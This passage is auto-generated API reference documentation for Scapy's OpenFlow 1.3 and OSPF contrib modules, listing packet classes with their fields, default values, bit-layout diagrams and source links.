|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         METADATA MATCH                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         METADATA WRITE                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CONFIG                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAX ENTRIES                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PROPERTIES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPTableFeatures                       


OFPTableFeatures fields






	len

	ShortField

	None



	table_id

	ByteEnumField

	0



	pad

	XBitField  (40 bits)

	0



	table_name

	StrFixedLenField

	b''



	metadata_match

	LongField

	0



	metadata_write

	LongField

	0



	config

	IntEnumField

	0



	max_entries

	IntField

	0



	properties

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPTableID(_pkt, /, *, table_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2743-L2748]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2747-L2748]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TABLE ID   |
+-+-+-+-+-+-+-+-+

                         Fig. OFPTableID                          


OFPTableID fields






	table_id

	ByteEnumField

	0















	
class scapy.contrib.openflow3.OFPTableStats(_pkt, /, *, table_id=0, pad1=0, active_count=0, lookup_count=0, matched_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2301-L2310]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2309-L2310]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TABLE ID   |                      PAD1                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  ACTIVE COUNT                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  LOOKUP COUNT                 |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 MATCHED COUNT                 |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. OFPTableStats                        


OFPTableStats fields






	table_id

	ByteEnumField

	0



	pad1

	X3BytesField

	0



	active_count

	IntField

	0



	lookup_count

	LongField

	0



	matched_count

	LongField

	0















	
class scapy.contrib.openflow3.OXMID(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L622-L631]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L623-L628]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L630-L631]

	








	
class scapy.contrib.openflow3.OXMPacketListField(name, default, cls, length_from=None, autocomplete=False)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L543-L619]

	Bases: PacketListField


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L592-L593]

	




	
autocomplete

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L595-L619]

	




	
i2m(pkt, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L552-L579]

	




	
index

	




	
m2i(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L581-L586]

	








	
class scapy.contrib.openflow3.OpenFlow3(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L686-L714]

	Bases: OpenFlow


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L689-L714]

	








	
scapy.contrib.openflow3.add_ofp_oxm_fields(i, org)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L269-L285]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.ospf

OSPF extension for Scapy <http://www.secdev.org/scapy>

This module provides Scapy layers for the Open Shortest Path First
routing protocol as defined in RFC 2328 and RFC 5340.


	
class scapy.contrib.ospf.FieldLenField32Bits(name: str, default: Optional[Any], length_of: Optional[str] = None, fmt: str = 'H', count_of: Optional[str] = None, adjust: Callable[[Packet, int], int] = <function FieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L170-L172]

	Bases: FieldLenField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L171-L172]

	








	
class scapy.contrib.ospf.LLS_Crypto_Auth(_pkt, /, *, type=2, len=20, sequence=0, authdata=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L147-L152]

	Bases: LLS_Generic_TLV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |      LEN      |    SEQUENCE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |    AUTHDATA   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. LLS_Crypto_Auth                       


LLS_Crypto_Auth fields






	type

	ShortField

	2



	len

	FieldLenField

	20



	sequence

	XIntField

	0



	authdata

	StrLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.ospf.LLS_Extended_Options(_pkt, /, *, type=1, len=None, options=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L139-L144]

	Bases: LLS_Generic_TLV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LLS_Extended_Options                     


LLS_Extended_Options fields






	type

	ShortField

	1



	len

	FieldLenField

	None



	options

	StrLenField

	b''















	
class scapy.contrib.ospf.LLS_Generic_TLV(_pkt, /, *, type=0, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L129-L136]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LLS_Generic_TLV                       


LLS_Generic_TLV fields






	type

	ShortField

	0



	len

	FieldLenField

	None



	val

	StrLenField

	b''











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L135-L136]

	








	
class scapy.contrib.ospf.OSPFOptionsField(name='options', default=0, size=8, names=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L35-L41]

	Bases: FlagsField






	
class scapy.contrib.ospf.OSPF_AS_Scope_Opaque_LSA(_pkt, /, *, age=1, options=<Flag 0 ()>, type=11, id='192.0.2.1', adrouter='198.51.100.100', seq=2147483649, chksum=None, len=None, data=b'data')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L392-L394]

	Bases: OSPF_Link_Scope_Opaque_LSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OSPF_AS_Scope_Opaque_LSA                   


OSPF_AS_Scope_Opaque_LSA fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteField

	11



	id

	IPField

	'192.0.2.1'



	adrouter

	IPField

	'198.51.100.100'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	data

	StrLenField

	b'data'















	
class scapy.contrib.ospf.OSPF_Area_Scope_Opaque_LSA(_pkt, /, *, age=1, options=<Flag 0 ()>, type=10, id='192.0.2.1', adrouter='198.51.100.100', seq=2147483649, chksum=None, len=None, data=b'data')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L387-L389]

	Bases: OSPF_Link_Scope_Opaque_LSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. OSPF_Area_Scope_Opaque_LSA                  


OSPF_Area_Scope_Opaque_LSA fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteField

	10



	id

	IPField

	'192.0.2.1'



	adrouter

	IPField

	'198.51.100.100'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	data

	StrLenField

	b'data'















	
class scapy.contrib.ospf.OSPF_BaseLSA(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L263-L277]

	Bases: Packet

An abstract base class for Link State Advertisements


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L276-L277]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L266-L274]

	








	
class scapy.contrib.ospf.OSPF_DBDesc(_pkt, /, *, mtu=1500, options=<Flag 0 ()>, dbdescr=<Flag 0 ()>, ddseq=1, lsaheaders=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L397-L412]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MTU              |    OPTIONS    |    DBDESCR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DDSEQ                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LSAHEADERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OSPF_DBDesc                         


OSPF_DBDesc fields






	mtu

	ShortField

	1500



	options

	OSPFOptionsField

	<Flag 0 ()>



	dbdescr

	FlagsField

	<Flag 0 ()>



	ddseq

	IntField

	1



	lsaheaders

	PacketListField

	[]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L407-L412]

	








	
class scapy.contrib.ospf.OSPF_External_LSA(_pkt, /, *, age=1, options=<Flag 0 ()>, type=5, id='192.168.0.0', adrouter='2.2.2.2', seq=2147483649, chksum=None, len=None, mask='255.255.255.0', ebit=<Flag 0 ()>, reserved=0, metric=20, fwdaddr='0.0.0.0', tag=0, tos=0, tosmetric=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L339-L357]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|E|   RESERVED  |                     METRIC                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    FWDADDR                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      TAG                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      TOS      |           TOSMETRIC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OSPF_External_LSA                      


OSPF_External_LSA fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteField

	5



	id

	IPField

	'192.168.0.0'



	adrouter

	IPField

	'2.2.2.2'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	mask

	IPField

	'255.255.255.0'



	ebit

	FlagsField

	<Flag 0 ()>



	reserved

	BitField  (7 bits)

	0



	metric

	X3BytesField

	20



	fwdaddr

	IPField

	'0.0.0.0'



	tag

	XIntField

	0



	tos

	ByteField (Cond)

	0



	tosmetric

	X3BytesField (Cond)

	0















	
class scapy.contrib.ospf.OSPF_Hdr(_pkt, /, *, version=2, type=1, len=None, src='1.1.1.1', area='0.0.0.0', chksum=None, authtype=0, authdata=0, reserved=0, keyid=1, authdatalen=0, seq=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L65-L107]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L102-L107]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              AREA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |            AUTHTYPE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AUTHDATA                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVED           |     KEYID     |  AUTHDATALEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OSPF_Hdr                           


OSPF_Hdr fields






	version

	ByteField

	2



	type

	ByteEnumField

	1



	len

	_NoLLSLenField

	None



	src

	IPField

	'1.1.1.1'



	area

	IPField

	'0.0.0.0'



	chksum

	XShortField

	None



	authtype

	ShortEnumField

	0



	authdata

	XLongField (Cond)

	0



	reserved

	XShortField (Cond)

	0



	keyid

	ByteField (Cond)

	1



	authdatalen

	ByteField (Cond)

	0



	seq

	XIntField (Cond)

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L99-L100]

	




	
payload_guess

	Possible sublayers:
OSPF_DBDesc, OSPF_Hello, OSPF_LSAck, OSPF_LSReq, OSPF_LSUpd






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L85-L97]

	








	
class scapy.contrib.ospf.OSPF_Hello(_pkt, /, *, mask='255.255.255.0', hellointerval=10, options=<Flag 0 ()>, prio=1, deadinterval=40, router='0.0.0.0', backup='0.0.0.0', neighbors=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L110-L126]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         HELLOINTERVAL         |    OPTIONS    |      PRIO     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DEADINTERVAL                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ROUTER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             BACKUP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NEIGHBORS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OSPF_Hello                          


OSPF_Hello fields






	mask

	IPField

	'255.255.255.0'



	hellointerval

	ShortField

	10



	options

	OSPFOptionsField

	<Flag 0 ()>



	prio

	ByteField

	1



	deadinterval

	IntField

	40



	router

	IPField

	'0.0.0.0'



	backup

	IPField

	'0.0.0.0'



	neighbors

	FieldListField

	[]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L121-L126]

	








	
class scapy.contrib.ospf.OSPF_LLS_Hdr(_pkt, /, *, chksum=None, len=None, llstlv=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L175-L186]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LLSTLV            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OSPF_LLS_Hdr                         


OSPF_LLS_Hdr fields






	chksum

	XShortField

	None



	len

	FieldLenField32Bits

	None



	llstlv

	PacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L181-L186]

	








	
class scapy.contrib.ospf.OSPF_LSA_Hdr(_pkt, /, *, age=1, options=<Flag 0 ()>, type=1, id='192.168.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=0, len=36)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L214-L226]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L225-L226]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OSPF_LSA_Hdr                         


OSPF_LSA_Hdr fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteEnumField

	1



	id

	IPField

	'192.168.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	0



	len

	ShortField

	36















	
class scapy.contrib.ospf.OSPF_LSAck(_pkt, /, *, lsaheaders=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L440-L453]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L446-L453]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LSAHEADERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OSPF_LSAck                          


OSPF_LSAck fields






	lsaheaders

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPF_LSReq(_pkt, /, *, requests=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L425-L429]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REQUESTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OSPF_LSReq                          


OSPF_LSReq fields






	requests

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPF_LSReq_Item(_pkt, /, *, type=1, id='1.1.1.1', adrouter='1.1.1.1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L415-L422]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L421-L422]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TYPE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OSPF_LSReq_Item                       


OSPF_LSReq_Item fields






	type

	IntEnumField

	1



	id

	IPField

	'1.1.1.1'



	adrouter

	IPField

	'1.1.1.1'















	
class scapy.contrib.ospf.OSPF_LSUpd(_pkt, /, *, lsacount=None, lsalist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L432-L437]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
